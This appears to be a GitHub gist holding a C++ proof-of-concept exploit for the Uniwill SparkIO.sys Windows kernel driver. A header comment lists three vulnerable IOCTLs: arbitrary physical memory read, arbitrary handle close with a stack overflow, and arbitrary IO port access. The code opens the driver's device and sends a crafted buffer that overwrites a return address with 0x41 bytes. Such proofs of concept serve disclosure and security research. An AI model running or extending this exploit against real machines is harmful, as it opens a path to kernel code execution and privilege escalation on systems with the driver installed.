alfarom256 / source.cpp

Last active 2 months ago

Uniwill SparkIO.sys PoC

source.cpp

```
/*
IOCTL 0x40002004 : Arbitrary Physical Memory Read using MmMapIoSpace
IOCTL 0x40002008 : Close a handle of your choice! + Stack-based Buffer Overflow
IOCTL 0x40002000 : Arbitrary RW to IO ports
*/
#include <Windows.h>
#include <stdio.h>

#define GLE( x ) { printf("%s failed with error: %d\n", x , GetLastError()); }
#define IOCTL_TRIGGER_OVERFLOW 0x40002008

typedef struct BufferOverflow {
        HANDLE reserved0;
        DWORD64 reserved1[6];
        DWORD64 ROP_RET_1;
        DWORD64 reserved2[20];
} BufferOverflow, * PBufferOverflow;

DWORD64 genPattern(BYTE b) {
        DWORD64 retVal = b;
        retVal |= retVal << 8;
        retVal |= retVal << 16;
        retVal |= retVal << 32;
        return retVal;
}

NTSTATUS triggerOverflow(HANDLE hDevice, PBufferOverflow pOverflowData) {
        DWORD64 dummy = 0;
        DWORD dwBytesReturned = 0;

        NTSTATUS status = DeviceIoControl(
                hDevice,
```

```
32                  IOCTL_TRIGGER_OVERFLOW,
33                  pOverflowData,
34                  sizeof(BufferOverflow),
35                  &dummy,
36                  sizeof(dummy),
37                  &dwBytesReturned,
38                  NULL
39          );
40
41          return status;
42  }
43
44
45  int main() {
46          BufferOverflow bo = { 0 };
47          NTSTATUS status = 0;
48          const char* strDevName = R"(\\.\SparkIO)";
49
50          puts("Opening device");
51          HANDLE hFile = CreateFileA(strDevName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FIL
52
53          if (hFile == (HANDLE)0 || hFile == INVALID_HANDLE_VALUE) {
54                  GLE("CreateFileA");
55                  return -1;
56          }
57
58          puts("Opened handle to device");
59          puts("Triggering buffer overflow... Press any key to continue...");
60          getchar();
61          // set the return address to 0x4141414141414141
62          bo.ROP_RET_1 = genPattern(0x41);
63
64          status = triggerOverflow(hFile, &bo);
65          if (status) {
66                  GLE("Overflow Trigger Failed");
67                  printf("%lx\n", status);
68                  return status;
69          }
70  }
```